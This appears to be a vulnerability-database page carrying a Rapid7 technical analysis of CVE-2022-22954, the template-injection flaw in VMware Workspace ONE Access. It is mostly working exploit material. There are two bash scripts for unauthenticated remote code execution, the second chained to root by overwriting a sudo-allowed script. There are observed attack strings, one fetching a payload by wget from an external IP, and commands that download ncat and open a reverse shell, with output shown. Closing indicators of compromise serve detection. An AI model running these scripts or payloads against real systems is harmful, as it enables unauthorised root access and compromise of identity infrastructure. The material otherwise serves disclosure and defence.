Attacker Value
Very High
(1 user assessed)
Exploitability
Very High
(1 user assessed)
User Interaction
Unknown
Privileges Required
Unknown
Attack Vector
Unknown
8

CVE-2022-22954

Exploited in the Wild
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Execution
Techniques
Validation
Validated

Description

VMware Workspace ONE Access and Identity Manager contain a remote code execution vulnerability due to server-side template injection. A malicious actor with network access can trigger a server-side template injection that may result in remote code execution.

Add Assessment

2
Ratings
Technical Analysis

With publicly available information, this was super trivial to exploit! In the Rapid7 analysis, I chained it together with what I thought was CVE-2022-22960 (I’m not sure it was anymore) to go from unauthenticated HTTPS access to root very easily.

General Information

Products

  • VMware Workspace ONE Access and Identity Manager

Exploited in the Wild

Reported by:

Additional Info

Technical Analysis

Description

On April 6, 2022, VMware published VMSA-2022-0011, which discloses multiple vulnerabilities discovered by Steven Seeley (mr_me) of Qihoo 360 Vulnerability Research Institute. The most critical of the CVEs published in VMSA-2022-0011 is CVE-2022-22954, which is a server-side template injection issue with a CVSSv3 base score of 9.8. The vulnerability allows an unauthenticated user with network access to the web interface to execute an arbitrary shell command as the VMware user.

To further exacerbate this issue, VMware also disclosed a local privilege escalation issue, CVE-2022-22960, which permits the attacker to gain root after exploiting CVE-2022-22954.

Products affected by CVE-2022-22954 include:

  • VMware Workspace ONE Access (Access) 20.10.0.0 – 20.10.0.1, 21.08.0.0 – 21.08.0.1
  • VMware Identity Manager (vIDM) 3.3.3 – 3.3.6

Active Exploitation

CVE-2022-22954 has been exploited in the wild according to multiple sources:

Scanning/exploitation strings observed by Rapid7 include:

  • /catalog-portal/ui/oauth/verify?error=&deviceUdid=${"freemarker.template.utility.Execute"?new()("cat /etc/hosts")}
  • /catalog-portal/ui/oauth/verify?error=&deviceUdid=${"freemarker.template.utility.Execute"?new()("wget -U "Hello 1.0" -qO - http://106[.]246[.]224[.]219/one")}

Looking at historical data, it appears that the IP addresses involved in ongoing Internet attacks targeting CVE-2022-22954 have also been behind other mass Internet scanning and exploit attempts, such as during Log4Shell. That may mean that they are part of a botnet or other organized threat group.

Technical Analysis

CVE-2022-22954 is an unauthenticated server-side template injection issue. Exploit code is small enough to fit in a tweet, which security researcher wvu did on April 27! The following bash script is based on the public exploit:

#!/bin/bash

set -euo pipefail
die () {
    echo >&2 "$@"
    exit 1
}

[ "$#" -eq 2 ] || die "Usage: $0 <target> <cmd>"

# Encode the CMD as Base64 to avoid spaces
ENCODED_CMD=$(echo "echo XYZ;$2;echo ZYX" | base64 -w0)

# Build the argument string based on Will Vu's public PoC
ARGS='deviceUdid=${"freemarker.template.utility.Execute"?new()("bash -c {eval,$({echo,'$(echo $ENCODED_CMD)'}|{base64,-d})}")}'

# Get the curl response
OUT=$(curl -sk https://$1/catalog-portal/ui/oauth/verify -H "Host: anything" -Gd error= --data-urlencode "$ARGS")

# Pull out the command result
echo $OUT | grep 'XYZ.*ZYX' | sed -re 's/.*XYZ\\n(.*)\\nZYX.*/\1/' -e 's/\\n/\n/g'

Using this script, we tested VMware Workspace ONE Access / Identity Manager v3.3.3.0 in our lab. The service runs as the horizon user:

$ bash ./exploit.sh 10.0.0.126 "whoami"
horizon

To assess the potential impact, we checked what types of access privileges the horizon user has. It turns out, horizon has access to a bunch of sudo commands:

$ bash ./exploit.sh 10.0.0.126 "sudo -l"
Matching Defaults entries for horizon on identity-manager-3-3:
 timestamp_timeout=0, passwd_tries=1

 (root) NOPASSWD: /usr/local/horizon/scripts/horizonService.sh, /usr/local/horizon/scripts/postgresService.sh, /usr/local/horizon/scripts/enableRSyslog.hzn, /usr/local/horizon/scripts/enableProxy.hzn, /usr/local/horizon/scripts/gatherLogs.hzn, /usr/local/horizon/scripts/gatherConfig.hzn, /usr/local/horizon/scripts/getProtectedLogFiles.hzn, /usr/local/horizon/scripts/diagnostic/getPasswordExpiry.hzn, /usr/local/horizon/update/update.hzn --version, /usr/local/horizon/scripts/updateiptables.hzn -portupdateonly, /usr/local/horizon/scripts/publishCaCert.hzn, /usr/local/horizon/scripts/ntpServer.hzn, /usr/local/horizon/scripts/exportTenant.sh, /usr/local/horizon/scripts/horizon-init.sh, /usr/local/horizon/scripts/importTenant.sh, /usr/local/horizon/scripts/tenantInHostTokenUtil.sh, /usr/local/horizon/scripts/tenantInPathTokenUtil.sh, /usr/local/horizon/scripts/updateLocalUserPassword.sh, /usr/local/horizon/scripts/secureUsers.hzn, /usr/local/horizon/scripts/exportCustomGroupUsers.sh, /usr/local/horizon/scripts/extractUserIdFromDatabase.sh, /usr/local/horizon/scripts/domainJoinCheck.hzn, /usr/local/horizon/scripts/domainJoin.hzn, /usr/local/horizon/scripts/domainJoinPreview.hzn, /usr/local/horizon/scripts/mountHelper.hzn, /opt/vmware/certproxy/bin/certproxyService.sh

We checked the permissions of those scripts and, sure enough, several of them are writable, including:

$ bash ./exploit.sh 10.0.0.126 "ls -l /opt/vmware/certproxy/bin/certproxyService.sh"
-rwxr-x--- 1 horizon www 938 Nov 1 2020 /opt/vmware/certproxy/bin/certproxyService.sh

Although we found this by accident, we’re pretty sure that it maps to the local privilege escalation vulnerability that VMware lists as CVE-2022-22960 in their advisory (although the original author later indicated that it wasn’t exactly the same).

To test this out, we overwrote one of the built-in scripts, then ran it with sudo:

$ bash ./exploit.sh 10.0.0.126 "echo 'whoami' > /opt/vmware/certproxy/bin/certproxyService.sh"
[...]

$ bash ./exploit.sh 10.0.0.126 "sudo /opt/vmware/certproxy/bin/certproxyService.sh"
root

It works! So now we have unauthenticated root-level code execution. So of course, we made another script that combined both vulnerabilities into one simple package (it’s worth noting that this proof of concept overwrites a built-in script, so it probably breaks things. We would not recommend using this against random targets!):

#!/bin/bash

set -euo pipefail
die () {
    echo >&2 "$@"
    exit 1
}

# Make the user opt into destructiveness for the PoC
[ "$#" -eq 3 ] || die "Usage: $0 iknowthisisdestructive <target> <cmd>"

DESTRUCTION=$1
HOST=$2
CMD=$3

if [ "$DESTRUCTION" != "iknowthisisdestructive" ]; then
    echo "You must opt into destructiveness!"
    echo
    die "Usage: $0 iknowthisisdestructive <target> <cmd>"
fi

# Encode a command to write to a target file
# NOTE: This is destructive!
ENCODED_CMD=$(echo "echo \"echo XYZ;$CMD;echo ZYX\" > /opt/vmware/certproxy/bin/certproxyService.sh" | base64 -w0)

# Build the argument string based on Will Vu's public PoC
ARGS='deviceUdid=${"freemarker.template.utility.Execute"?new()("bash -c {eval,$({echo,'$(echo $ENCODED_CMD)'}|{base64,-d})}")}'

# Do the initial curl, discarding the result
curl -sk https://$HOST/catalog-portal/ui/oauth/verify -H "Host: anything" -Gd error= --data-urlencode "$ARGS">/dev/null

# Set up the sudo command
ENCODED_CMD=$(echo "sudo /opt/vmware/certproxy/bin/certproxyService.sh" | base64 -w0)
ARGS='deviceUdid=${"freemarker.template.utility.Execute"?new()("bash -c {eval,$({echo,'$(echo $ENCODED_CMD)'}|{base64,-d})}")}'
OUT=$(curl -sk https://$HOST/catalog-portal/ui/oauth/verify -H "Host: anything" -Gd error= --data-urlencode "$ARGS")

# Pull out the command result
echo $OUT | grep 'XYZ.*ZYX' | sed -re 's/.*XYZ\\n(.*)\\nZYX.*/\1/' -e 's/\\n/\n/g'

The host uses tdnf as a package manager. The only version of Netcat available is the boring one – no -e support! So instead, we grabbed a static copy of ncat to upload and execute a reverse shell (periodic reminder to not use random binaries you find on GitHub outside of a lab):

$ bash ./sudo-exploit.sh iknowthisisdestructive 10.0.0.126 "curl https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/ncat > /tmp/ncat"
[...]

$ bash ./sudo-exploit.sh iknowthisisdestructive 10.0.0.126 "chmod +x /tmp/ncat"
[...]

$ bash ./sudo-exploit.sh iknowthisisdestructive 10.0.0.126 "/tmp/ncat -e /bin/bash 10.0.0.123 1234"

And at this point, we have a root shell:

$ nc -v -l -p 1234
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.0.0.126.
Ncat: Connection from 10.0.0.126:6030.
    
whoami
root

IoCs

The logs on VMware Workspace ONE Access are stored in /opt/vmware/horizon/workspace/logs/greenbox_web.log. These contain all web requests, including the malicious requests that we send. We used Execute as a search keyword, and found that exploit attempts for CVE-2022-22954 stand out pretty clearly:

grep 'Execute' /opt/vmware/horizon/workspace/logs/greenbox_web.log | tail -n2

2022-05-02 15:28:11,102 INFO (Thread-5) [com.vmware.endusercatalog.ui.web.interceptors.UiRequestInterceptor.preHandle] <GreenBox> <correlation_id: > <tenant_id: anything> <client_ip: 10.0.0.123> <username: > <device_id: > - Received request with URI /catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7B%22freemarker.template.utility.Execute%22%3Fnew%28%29%28%22bash+-c+%7Beval%2C%24%28%7Becho%2Cc3VkbyAvb3B0L3Ztd2FyZS9jZXJ0cHJveHkvYmluL2NlcnRwcm94eVNlcnZpY2Uuc2gK%7D%7C%7Bbase64%2C-d%7D%29%7D%22%29%7D [...]

2022-05-02 15:28:11,102 WARN (Thread-5) [com.vmware.endusercatalog.ui.web.UiApplicationExceptionResolver.resolveException] <GreenBox> <correlation_id: > <tenant_id: anything> <client_ip: 10.0.0.123> <username: > <device_id: > - RequestId dcb98442-12d9-4540-a510-65d033181fdf for request uri /catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7B%22freemarker.template.utility.Execute%22%3Fnew%28%29%28%22bash+-c+%7Beval%2C%24%28%7Becho%2Cc3VkbyAvb3B0L3Ztd2FyZS9jZXJ0cHJveHkvYmluL2NlcnRwcm94eVNlcnZpY2Uuc2gK%7D%7C%7Bbase64%2C-d%7D%29%7D%22%29%7D returned in 0ms, it resulted with return code 400, mapped to error code auth.context.invalid and, error is: null

Other endpoints besides the one we tested are also vulnerable, so searching for the specific endpoint may miss exploit attempts.

To perform the privilege escalation outlined in CVE-2022-22960, one of several scripts must be modified. Any of the following scripts can be changed then run with sudo:

-rwxr-x--- 1 horizon www     57 May  2 15:44 /opt/vmware/certproxy/bin/certproxyService.sh
-r-x------ 1 horizon www    889 Nov  1  2020 /usr/local/horizon/scripts/exportCustomGroupUsers.sh
-r-x------ 1 horizon www   1331 Nov  1  2020 /usr/local/horizon/scripts/extractUserIdFromDatabase.sh

You can see certproxService.sh has been recently modified, since it is the one I chose to use as a demonstration.

References